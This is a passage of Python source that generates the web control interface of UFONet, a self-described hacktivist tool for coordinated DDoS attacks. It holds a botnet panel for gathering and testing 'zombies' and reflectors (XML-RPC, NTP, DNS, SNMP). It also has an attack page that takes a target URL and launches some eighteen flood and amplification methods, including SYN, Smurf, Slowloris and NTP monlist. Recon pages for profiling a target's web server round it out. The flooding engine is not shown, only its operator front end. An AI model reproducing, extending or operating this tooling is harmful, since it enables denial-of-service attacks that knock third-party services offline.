<br>Download Botnet: <center><br><a href='javascript:runCommandX("cmd_list_nodes")'>LIST NODES</a> | <a href='javascript:runCommandX("cmd_download_nodes")'>TAKE ALL!</a> | <input type="text" name="download_botnet_ip" id="download_botnet_ip" size="20" value='"""+default_blackhole+"""'> <button title="Start to search for zombies..." style="color:yellow; height:40px; width:140px; font-weight:bold; background-color:red; border: 2px solid yellow;" onClick=Download_Botnet_IP()>TAKE IT!</button></center>
3229
<hr>
3230
Test Botnet: <center><br><a href='javascript:runCommandX("cmd_test_offline")'>Offline</a> | <a href='javascript:runCommandX("cmd_test_all")'>ALL</a> | <a href='javascript:runCommandX("cmd_test_army")'>Zombies</a> | <a href='javascript:runCommandX("cmd_test_rpcs")'>XML-RPCs</a> | <a href='javascript:runCommandX("cmd_attack_me")'>Attack Me!</a></center>
3231
<hr>
3232
View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button></pre>
3233
</td>
3234
<td>
3235
<table cellpadding="5" cellspacing="2">
3236
<tr>
3237
<td align="right">Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></td>
3238
</tr>
3239
<tr><td><hr></td></tr>
3240
<tr><td><table align="right"><tr><td>Zombies:</td><td><a href='javascript:runCommandX("cmd_list_zombies")'>"""+self.num_zombies+"""</a></td></tr></table></td></tr>
3241
<tr><td><table align="right"><tr><td>Aliens:</td><td><a href='javascript:runCommandX("cmd_list_aliens")'>"""+self.num_aliens+"""</a></td></tr></table></td></tr>
3242
<tr><td><table align="right"><tr><td>Droids:</td><td><a href='javascript:runCommandX("cmd_list_droids")'>"""+self.num_droids+"""</a></td></tr></table></td></tr>
3243
<tr><td><table align="right"><tr><td>UCAVs:</td><td><a href='javascript:runCommandX("cmd_list_ucavs")'>"""+self.num_ucavs+"""</a></td></tr></table></td></tr>
3244
<tr><td><table align="right"><tr><td>XML-RPCs:</td><td><a href='javascript:runCommandX("cmd_list_rpcs")'>"""+self.num_rpcs+"""</a></td></tr></table></td></tr>
3245
<tr><td><table align="right"><tr><td>NTPs:</td><td><a href='javascript:runCommandX("cmd_list_ntps")'>"""+self.num_ntps+"""</a></td></tr></table></td></tr>
3246
<tr><td><table align="right"><tr><td>DNSs:</td><td><a href='javascript:runCommandX("cmd_list_dnss")'>"""+self.num_dnss+"""</a></td></tr></table></td></tr>
3247
<tr><td><table align="right"><tr><td>SNMPs:</td><td><a href='javascript:runCommandX("cmd_list_snmps")'>"""+self.num_snmps+"""</a></td></tr></table></td></tr>
3248
<tr><td><hr></td></tr>
3249
<tr>
3250
<td align="right">GLOBAL.RADAR (nodes) = <b><font size='5' align="right"><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></b></td>
3251
</tr>
3252
<tr>
3253
<td align="right">SHIP.WARPS (nodes) = <b><font size='5' align="right"><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></b></td>
3254
</tr>
3255
</table>
3256
</table>
3257
</td>
3258
</tr></table>
3259
<hr>
3260
<div id="cmdOut"></div>
3261
""" + self.pages["/footer"]
3262
3263
self.pages["/attack"] = self.pages["/header"] + """<script language="javascript">
3264
function Requests() {
3265
var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3266
}
3267
function ShowPanel() {
3268
if (document.getElementById("extra_attack").checked){
3269
document.getElementById("extra_panel").style.display = "block";
3270
document.getElementById("loic").value = "";
3271
document.getElementById("loris").value = "";
3272
document.getElementById("ufosyn").value = "";
3273
document.getElementById("spray").value = "";
3274
document.getElementById("smurf").value = "";
3275
document.getElementById("xmas").value = "";
3276
document.getElementById("nuke").value = "";
3277
document.getElementById("tachyon").value = "";
3278
document.getElementById("monlist").value = "";
3279
document.getElementById("fraggle").value = "";
3280
document.getElementById("sniper").value = "";
3281
document.getElementById("ufoack").value = "";
3282
document.getElementById("uforst").value = "";
3283
document.getElementById("droper").value = "";
3284
document.getElementById("overlap").value = "";
3285
document.getElementById("pinger").value = "";
3286
document.getElementById("ufoudp").value = "";
3287
document.getElementById("dbstress").value = "";
3288
} else {
3289
document.getElementById("extra_panel").style.display = "none";
3290
document.getElementById("loic").value = "";
3291
document.getElementById("loris").value = "";
3292
document.getElementById("ufosyn").value = "";
3293
document.getElementById("spray").value = "";
3294
document.getElementById("smurf").value = "";
3295
document.getElementById("xmas").value = "";
3296
document.getElementById("nuke").value = "";
3297
document.getElementById("tachyon").value = "";
3298
document.getElementById("monlist").value = "";
3299
document.getElementById("fraggle").value = "";
3300
document.getElementById("sniper").value = "";
3301
document.getElementById("ufoack").value = "";
3302
document.getElementById("uforst").value = "";
3303
document.getElementById("droper").value = "";
3304
document.getElementById("overlap").value = "";
3305
document.getElementById("pinger").value = "";
3306
document.getElementById("ufoudp").value = "";
3307
document.getElementById("dbstress").value = "";
3308
}
3309
}
3310
function Maps() {
3311
var win_map = window.open("/cmd_view_attack?target="+target,"_blank","fullscreen=yes, resizable=yes", false);
3312
win_map.resizeTo(screen.width,screen.height);
3313
}
3314
function Start(){
3315
document.getElementById("attack_button").text = "STOP!"
3316
document.getElementById("attack_button").style = "color:red; height:40px; width:240px; font-weight:bold; background-color:yellow; border: 2px solid red;"
3317
target=document.getElementById("target").value
3318
String.prototype.startsWith = function(prefix){
3319
return this.indexOf(prefix) === 0;
3320
}
3321
if(target.startsWith("http")){
3322
path=document.getElementById("path").value
3323
rounds=document.getElementById("rounds").value
3324
dbstress=document.getElementById("dbstress").value
3325
loic=document.getElementById("loic").value
3326
loris=document.getElementById("loris").value
3327
ufosyn=document.getElementById("ufosyn").value
3328
spray=document.getElementById("spray").value
3329
smurf=document.getElementById("smurf").value
3330
xmas=document.getElementById("xmas").value
3331
nuke=document.getElementById("nuke").value
3332
tachyon=document.getElementById("tachyon").value
3333
monlist=document.getElementById("monlist").value
3334
fraggle=document.getElementById("fraggle").value
3335
sniper=document.getElementById("sniper").value
3336
ufoack=document.getElementById("ufoack").value
3337
uforst=document.getElementById("uforst").value
3338
droper=document.getElementById("droper").value
3339
overlap=document.getElementById("overlap").value
3340
pinger=document.getElementById("pinger").value
3341
ufoudp=document.getElementById("ufoudp").value
3342
if(ufosyn || spray || smurf || xmas || nuke || tachyon || monlist || fraggle || sniper || ufoack || uforst || droper || overlap || pinger || ufoudp){ // root required!
3343
window.alert("You need 'root' access!. Check shell and enter your password.");
3344
}
3345
params="path="+escape(path)+"&rounds="+escape(rounds)+"&target="+escape(target)+"&dbstress="+escape(dbstress)+"&loic="+escape(loic)+"&loris="+escape(loris)+"&ufosyn="+escape(ufosyn)+"&spray="+escape(spray)+"&smurf="+escape(smurf)+"&xmas="+escape(xmas)+"&nuke="+escape(nuke)+"&tachyon="+escape(tachyon)+"&monlist="+escape(monlist)+"&fraggle="+escape(fraggle)+"&sniper="+escape(sniper)+"&ufoack="+escape(ufoack)+"&uforst="+escape(uforst)+"&droper="+escape(droper)+"&overlap="+escape(overlap)+"&pinger="+escape(pinger)+"&ufoudp="+escape(ufoudp)
3346
if (document.getElementById("visual_attack").checked){
3347
document.getElementById("visual_attack").value = "on";
3348
} else {
3349
document.getElementById("visual_attack").value = "off";
3350
}
3351
if(document.getElementById("visual_attack").value=="on"){
3352
Maps()
3353
}
3354
}else{
3355
window.alert("You need to enter a valid url: http(s)://target.com");
3356
return
3357
}
3358
runCommandX("cmd_attack",params)
3359
}
3360
</script>
3361
</head>
3362
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3363
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3364
<center>
3365
<table cellpadding="38" cellspacing="38">
3366
<tr>
3367
<td>
3368
<div class="ringMenu">
3369
<ul>
3370
<li class="main"><a href="attack">Attack</a></li>
3371
<li class="top"><a href="globalnet">Globalnet</a></li>
3372
<li class="right"><a href="botnet">Botnet</a></li>
3373
<li class="bottom"><a href="explore">Explore</a></li>
3374
<li class="left"><a href="gui">RETURN</a></li>
3375
</ul>
3376
</div>
3377
</td>
3378
<td>
3379
<table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
3380
<tr><td>
3381
<pre>
3382
Set your target: <input type="text" name="target" id="target" size="30" placeholder="http(s)://" required pattern="https?://.+">
3383
3384
Set place to attack: <input type="text" name="path" id="path" size="30" placeholder="/path/big.jpg">
3385
3386
Number of rounds: <input type="text" name="rounds" id="rounds" size="5" value="1">
3387
3388
<hr>
3389
<button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | <input type="checkbox" name="visual_attack" id="visual_attack"> Generate map! | <input type="checkbox" name="extra_attack" id="extra_attack" onclick='javascript:ShowPanel();'> Extra(s)
3390
3391
<hr><div id="extra_panel" style="display:none;">
3392
<table bgcolor="black" cellpadding="4" cellspacing="5" border="1"><tr>
3393
<td align="left"><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a>:</td><td align="right"> <input type="text" name="loic" id="loic" size="4" placeholder="100"></td>
3394
<td align="left"><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a>:</td><td align="right"> <input type="text" name="loris" id="loris" size="4" placeholder="101"></td>
3395
<td align="left"><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a>:</td><td align="right"> <input type="text" name="ufosyn" id="ufosyn" size="4" placeholder="100"></td>
3396
<td align="left"><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a>:</td><td align="right"> <input type="text" name="fraggle" id="fraggle" size="4" placeholder="101"></td>
3397
</tr><tr>
3398
<td align="left"><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a>:</td><td align="right"> <input type="text" name="uforst" id="uforst" size="4" placeholder="101"></td>
3399
<td align="left"><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a>:</td><td align="right"> <input type="text" name="spray" id="spray" size="4" placeholder="110"></td>
3400
<td align="left"><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a>:</td><td align="right"> <input type="text" name="smurf" id="smurf" size="4" placeholder="100"></td>
3401
<td align="left"><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a>:</td><td align="right"> <input type="text" name="xmas" id="xmas" size="4" placeholder="111"></td>
3402
</tr><tr>
3403
<td align="left"><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a>:</td><td align="right"> <input type="text" name="droper" id="droper" size="4" placeholder="101"></td>
3404
<td align="left"><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a>:</td><td align="right"> <input type="text" name="sniper" id="sniper" size="4" placeholder="100"></td>
3405
<td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a>:</td><td align="right"> <input type="text" name="tachyon" id="tachyon" size="4" placeholder="100"></td>
3406
<td align="left"><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a>:</td><td align="right"> <input type="text" name="pinger" id="pinger" size="4" placeholder="101"></td>
3407
</tr><tr>
3408
<td align="left"><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a>:</td><td align="right"> <input type="text" name="monlist" id="monlist" size="4" placeholder="101"></td>
3409
<td align="left"><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a>:</td><td align="right"> <input type="text" name="ufoack" id="ufoack" size="4" placeholder="100"></td>
3410
<td align="left"><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a>:</td><td align="right"> <input type="text" name="overlap" id="overlap" size="4" placeholder="100"></td>
3411
<td align="left"><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a>:</td><td align="right"> <input type="text" name="ufoudp" id="ufoudp" size="4" placeholder="101"></td>
3412
</tr><tr>
3413
<td align="left"><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a>:</td><td align="right"> <input type="text" name="nuke" id="nuke" size="4" placeholder="1001"></td>
3414
</tr>
3415
</table>
3416
<hr>
3417
Set db stress parameter: <input type="text" name="dbstress" id="dbstress" size="22" placeholder="search.php?q=">
3418
3419
<hr></div>
3420
<button title="Start to attack your target..." onClick=Start() style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;" id="attack_button">ATTACK!</button> | Total Botnet = <b><a href='javascript:runCommandX("cmd_list_army")'><font size='5'>"""+ self.total_botnet +"""</font></a></b></pre>
3421
</td></tr></table>
3422
</td></tr></table>
3423
<hr>
3424
<div id="cmdOut"></div>
3425
""" + self.pages["/footer"]
3426
3427
self.pages["/help"] = self.pages["/header"] + """<script language="javascript">
3428
function show(one) {
3429
var nb = document.getElementsByTagName("div");
3430
for(var x=0; x<nb.length; x++) {
3431
name = nb[x].getAttribute("class");
3432
if (name == 'nb') {
3433
if (nb[x].id == one) {
3434
nb[x].style.display = 'block';
3435
}
3436
else {
3437
nb[x].style.display = 'none';
3438
}
3439
}
3440
}
3441
}
3442
function Games() {
3443
var win_requests = window.open("games","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
3444
}
3445
function Browser() {
3446
var win_requests = window.open("browser","_blank","fullscreen=yes, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=640, height=480, resizable=yes", false);
3447
}
3448
</script>
3449
<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
3450
</head>
3451
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3452
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3453
<center>
3454
<table cellpadding="38" cellspacing="38">
3455
<tr>
3456
<td>
3457
<table cellpadding="24" cellspacing="25" border="1">
3458
<tr>
3459
<td>
3460
<center>
3461
<a href="javascript:alert('DAIALAFSÄ & LUÄRKS says: Hi! """ + self.ranking + """, The first steps are easy ... RTFM! ;-)');"><img src='data:image/png;base64,"""+self.aliens_img+"""'></a>
3462
</center>
3463
</td>
3464
<td><pre>
3465
<div><a id="mH1" href="javascript:show('nb1');" style="text-decoration: none;" >+ Project info</a></div>
3466
<div class="nb" id="nb1" style="display: none;"> <b>UFONet</b> - Is a set of <a href="https://en.wikipedia.org/wiki/Hacktivism" target="_blank">hacktivist</a> tools that allow launching coordinated
3467
<a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks and combine both in a single offensive.
3468
3469
It also works as an encrypted <a href="https://en.wikipedia.org/wiki/Darknet" target="_blank">DarkNET</a> to publish and receive
3470
content by creating a global client/server network based on
3471
a direct-connect <a href="https://en.wikipedia.org/wiki/Peer-to-peer" target="_blank">P2P</a> architecture.</div><div><a id="mH3" href="javascript:show('nb3');" style="text-decoration: none;" >+ F.A.Q.</a></div><div class="nb" id="nb3" style="display: none;">
3472
- <a href="https://ufonet.03c8.net/FAQ.html" target="_blak">Online version</a> (updated!)
3473
- <a href="/faq" target="_blank">Local version</a></div>
3474
<div><a id="mH4" href="javascript:show('nb4');" style="text-decoration: none;" >+ Issues</a></div><div class="nb" id="nb4" style="display: none;">
3475
If you have questions (or technical problems)
3476
try to solve them following next link:
3477
3478
- <a href="https://github.com/epsylon/ufonet/issues" target="_blank">GitHub</a> issues</div>
3479
<div><a id="mH5" href="javascript:show('nb5');" style="text-decoration: none;" >+ Support</a></div> <div class="nb" id="nb5" style="display: none;"> - Testing; use the tool and search for possible bugs and new ideas
3480
- Coding; you can try to develop more features
3481
- Promoting; talk about UFONet on the internet, events, <a href="https://en.wikipedia.org/wiki/Hacklab" target="_blank">hacklabs</a>, etc
3482
- Donating; money, objects, privacy, exploits, <a href="https://en.wikipedia.org/wiki/Love" target="_blank">love</a> ;-)
3483
3484
- <a href="https://explorer.bitcoin.com/btc" target="_blank">Bitcoin [BTC]</a>: <b>19aXfJtoYJUoXEZtjNwsah2JKN9CK5Pcjw</b>
3485
- <a href="https://ecoin.03c8.net/blockexplorer" target="_blank">Ecoin [ECO]</a>: <b>ETsRCBzaMawx3isvb5svX7tAukLdUFHKze</b></div> <div><a id="mH6" href="javascript:show('nb6');" style="text-decoration: none" >+ Contact</a></div> <div class="nb" id="nb6" style="display: none;"> - <a target="_blank" href="wormhole">Wormhole</a>: irc.freenode.net / #ufonet
3486
- Email: <a href="mailto: [email protected]">[email protected]</a> [GPG:0xB8AC3776]
3487
</div></td></tr>
3488
<tr>
3489
<td># TREEMAP: <a href="/treemap" target="_blank">VIEW</a> | SHIP.BROWSER: <a href="javascript:Browser()">OPEN</a> | SHIP.GAMES: <a href="javascript:Games()">PLAY!</a> #
3490
</td></tr>
3491
<tr>
3492
<td><h2><u>Types of Attacks:</u></h2>
3493
<table cellpadding="5" cellspacing="5" border="1"><tr>
3494
<td><a href="https://hydrasky.com/network-security/layer-7-ddos-attack/" target="_blank">LAYER-7</a></td>
3495
<td><a href="https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon" target="_blank">LOIC</a></td>
3496
<td><a href="https://en.wikipedia.org/wiki/Slowloris_(software)" target="_blank">LORIS</a></td>
3497
<td><a href="https://en.wikipedia.org/wiki/SYN_flood" target="_blank">UFOSYN</a></td>
3498
<td><a href="https://en.wikipedia.org/wiki/Fraggle_attack" target="_blank">FRAGGLE</a></td>
3499
<td><a href="https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood" target="_blank">UFORST</a></td>
3500
<td><a href="https://en.wikipedia.org/wiki/DRDOS" target="_blank">SPRAY</a></td>
3501
<td><a href="https://en.wikipedia.org/wiki/Smurf_attack" target="_blank">SMURF</a></td>
3502
<td><a href="https://en.wikipedia.org/wiki/Christmas_tree_packet" target="_blank">XMAS</a></td></tr><tr>
3503
<td><a href="https://en.wikipedia.org/wiki/IP_fragmentation_attack" target="_blank">DROPER</a></td>
3504
<td><a href="https://www.imperva.com/learn/application-security/snmp-reflection/" target="_blank">SNIPER</a></td>
3505
<td><a href="https://www.us-cert.gov/ncas/alerts/TA13-088A" target="_blank">TACHYON</a></td>
3506
<td><a href="https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/" target="_blank">PINGER</a></td>
3507
<td><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank">MONLIST</a></td>
3508
<td><a href="https://www.f5.com/services/resources/glossary/push-and-ack-flood" target="_blank">UFOACK</a></td>
3509
<td><a href="https://cyberhoot.com/cybrary/fragment-overlap-attack/" target="_blank">OVERLAP</a></td>
3510
<td><a href="https://en.wikipedia.org/wiki/UDP_flood_attack" target="_blank">UFOUDP</a></td>
3511
<td><a href="https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf" target="_blank">NUKE</a></td>
3512
</tr></table></td><tr>
3513
<tr>
3514
<td><h2><u>GUI-Modules:</u></h2>
3515
<table cellpadding="15" cellspacing="15" border="1"><tr>
3516
<td><a href="/news" target="_blank"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>Read NEWS from other motherships</td><td><a href="/news" target="_blank">SHIP.NEWS</a></td></tr><tr>
3517
<td><a href="/missions" target="_blank"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>Read MISSIONS from other motherships</td><td><a href="/missions" target="_blank">SHIP.MISSIONS</a></td></tr><tr>
3518
<td><a href="/tv" target="_blank"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td><td>Watch TV/VIDEOS from other mothership</td><td><a href="/tv" target="_blank">SHIP.TV</a></td></tr><tr>
3519
<td><a href="/links" target="_blank"><img src='data:image/png;base64,"""+self.alien10_img+"""'></a></td><td>Check LINKS from other motherships</td><td><a href="/links" target="_blank">GLOBAL.LINKS</a></td></tr><tr>
3520
<td><a href="/streams" target="_blank"><img src='data:image/png;base64,"""+self.alien9_img+"""'></a></td><td>Watch STREAMS from other motherships</td><td><a href="/streams" target="_blank">GLOBAL.STREAMS</a></td></tr><tr>
3521
<td><a href="/radar" target="_blank"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td><td>Search for OTHER motherships</td><td><a href="/radar" target="_blank">GLOBAL.RADAR</a></td></tr><tr>
3522
<td><a href="/blackholes" target="_blank"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td><td>Search for BLACKHOLES from other motherships</td><td><a href="/blackholes" target="_blank">SHIP.WARPS</a></td></tr><tr>
3523
<td><a href="/inspect" target="_blank"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td><td>Research for INFORMATION about a target</td><td><a href="/inspect" target="_blank">SHIP.INSPECT</a><br><br><a href="/abduction" target="_blank">SHIP.ABDUCTION</a></td></tr><tr>
3524
<td><a href="/board" target="_blank"><img src='data:image/png;base64,"""+self.alien4_img+"""'></a></td><td>Send/Receive MESSAGES from other motherships</td><td><a href="/board" target="_blank">GLOBAL.BOARD</a></td></tr><tr>
3525
<td><a href="/grid" target="_blank"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>Review STATISTICS from other motherships</td><td><a href="/grid" target="_blank">GLOBAL.GRID</a></td></tr><tr>
3526
<td><a href="/wargames" target="_blank"><img src='data:image/png;base64,"""+self.alien8_img+"""'></a></td><td>Join WARGAMES from other motherships</td><td><a href="/wargames" target="_blank">GLOBAL.WARGAMES</a></td></tr><tr>
3527
<td><a href="/browser" target="_blank"><img src='data:image/png;base64,"""+self.alien13_img+"""'></a></td><td>Surf INTERNET from your mothership</td><td><a href="/browser" target="_blank">SHIP.BROWSER</a></td></tr><tr>
3528
<td><a href="/games" target="_blank"><img src='data:image/png;base64,"""+self.alien12_img+"""'></a></td><td>Play GAMES from your mothership</td><td><a href="/games" target="_blank">SHIP.GAMES</a></td>
3529
</tr></table>
3530
</td></tr>
3531
</table>
3532
</td></tr></table>
3533
""" + self.pages["/footer"]
3534
3535
self.pages["/faq"] = self.pages["/header"] + """<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
3536
</head>
3537
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3538
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3539
<center>
3540
<table cellpadding="38" cellspacing="38">
3541
<tr>
3542
<td>"""+self.faq_text+"""</td></tr>
3543
</table>
3544
""" + self.pages["/footer"]
3545
3546
self.pages["/globalnet"] = self.pages["/header"] + """<script language="javascript">
3547
function Blackholes() {
3548
var win_requests = window.open("blackholes","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3549
}
3550
function Radar() {
3551
var win_requests = window.open("radar","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3552
}
3553
</script>
3554
<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
3555
</head>
3556
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3557
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3558
<center>
3559
<table cellpadding="38" cellspacing="38">
3560
<tr>
3561
<td>
3562
<div class="ringMenu">
3563
<ul>
3564
<li class="main"><a href="globalnet">Globalnet</a></li>
3565
<li class="top"><a href="botnet">Botnet</a></li>
3566
<li class="right"><a href="explore">Explore</a></li>
3567
<li class="bottom"><a href="attack">Attack</a></li>
3568
<li class="left"><a href="gui">RETURN</a></li>
3569
</ul>
3570
</div>
3571
</td>
3572
<td>
3573
<table cellpadding="24" cellspacing="25" border="1">
3574
<tr>
3575
<td><a href="javascript:alert('Senator M.BIRDY says: Welcome ..., """ + self.ranking + """,... These are other visible motherships detected by our technology that are currently working for the Federation... You can contribute by uploading your location... Remember, to be a strong network always depends on you!');"><img src='data:image/png;base64,"""+self.alien11_img+"""'></a></td>
3576
<td>
3577
<ul>
3578
<li><a href="javascript:Radar()">GLOBAL.RADAR</a>: Search for <u>other visible motherships</u></li>
3579
</ul>
3580
</td>
3581
</tr>
3582
<tr>
3583
<td><a href="javascript:alert('DhĂŻkta says: """ + self.ranking + """... I can open warps directly to blackholes created by other motherships. This is nice to share and increase your legion on a crypto-distributed (P2P) way...');"><img src='data:image/png;base64,"""+self.alien3_img+"""'></a></td>
3584
<td>
3585
<ul>
3586
<li><a href="javascript:Blackholes()">SHIP.WARPS</a>: Search for <u>blackholes shared by other motherships</u></li>
3587
</ul>
3588
</td>
3589
</tr>
3590
</table> </td></tr></table>
3591
""" + self.pages["/footer"]
3592
3593
self.pages["/explore"] = self.pages["/header"] + """<script language="javascript">
3594
function Abduction() {
3595
var win_requests = window.open("abduction","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3596
}
3597
function Inspect() {
3598
var win_requests = window.open("inspect","_blank","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
3599
}
3600
</script>
3601
<style>.container{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center;}svg{max-width:8rem;}.masking{-webkit-transform: scale(0);transform:scale(0);-webkit-transform-origin:178px;transform-origin:178px;-webkit-animation: scale 3s linear infinite; animation: scale 3s linear infinite;}@-webkit-keyframes scale{80%{opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}@keyframes scale{80% {opacity: 1;}100%{-webkit-transform: scale(1);transform: scale(1);opacity: 0;}}</style>
3602
</head>
3603
<body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
3604
<canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
3605
<center>
3606
<table cellpadding="38" cellspacing="38">
3607
<tr>
3608
<td>
3609
<div class="ringMenu">
3610
<ul>
3611
<li class="main"><a href="explore"">Explore</a></li>
3612
<li class="top"><a href="botnet">Botnet</a></li>
3613
<li class="right"><a href="globalnet">Globalnet</a></li>
3614
<li class="bottom"><a href="attack">Attack</a></li>
3615
<li class="left"><a href="gui">RETURN</a></li>
3616
</ul>
3617
</div>
3618
</td>
3619
<td>
3620
<table cellpadding="24" cellspacing="25" border="1">
3621
<tr>
3622
<td><a href="javascript:alert('Ofgöfeejh says: """ + self.ranking + """... Lets research about our enemies first, right?...');"><img src='data:image/png;base64,"""+self.alien7_img+"""'></a></td>
3623
<td>
3624
<ul>
3625
<li><a href="javascript:Inspect()">SHIP.INSPECT</a>: Search for <u>biggest file on target</u></li><br>
3626
<li><a href="javascript:Abduction()">SHIP.ABDUCTION</a>: Research for <u>information about target's web server</u></li>
3627
</ul>
3628
</td>
3629
</tr>
3630
</table> </td></tr></table>
3631
""" + self.pages["/footer"]
3632
3633
